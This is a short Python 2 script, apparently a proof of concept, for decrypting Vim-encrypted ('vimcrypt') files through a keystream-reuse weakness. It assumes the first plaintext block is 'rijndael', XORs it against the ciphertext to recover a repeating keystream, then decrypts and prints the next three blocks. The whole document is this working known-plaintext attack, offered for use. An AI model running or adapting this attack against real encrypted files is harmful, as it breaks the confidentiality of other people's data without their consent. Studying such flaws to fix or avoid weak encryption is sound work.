Decrypt vulnerable vimcrypt files

vimcrypt.py

# Author nastirth
import sys
import itertools

blocks = []

def xor(s, key):
    key = key * (len(s) / len(key) + 1)
    return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in itertools.izip(s, key)) 

with open(sys.argv[1], 'rb') as file:
    
    header = file.read(12)
    salt = file.read(8)
    iv = file.read(8)

    blocks.append(file.read(8))
    blocks.append(file.read(8))
    blocks.append(file.read(8))
    blocks.append(file.read(8))
    
    plain = bytes('rijndael')
    
    key = xor(blocks[0], plain)
    
    plain = plain + xor(blocks[1], key)
    plain = plain + xor(blocks[2], key)
    plain = plain + xor(blocks[3], key)

    print plain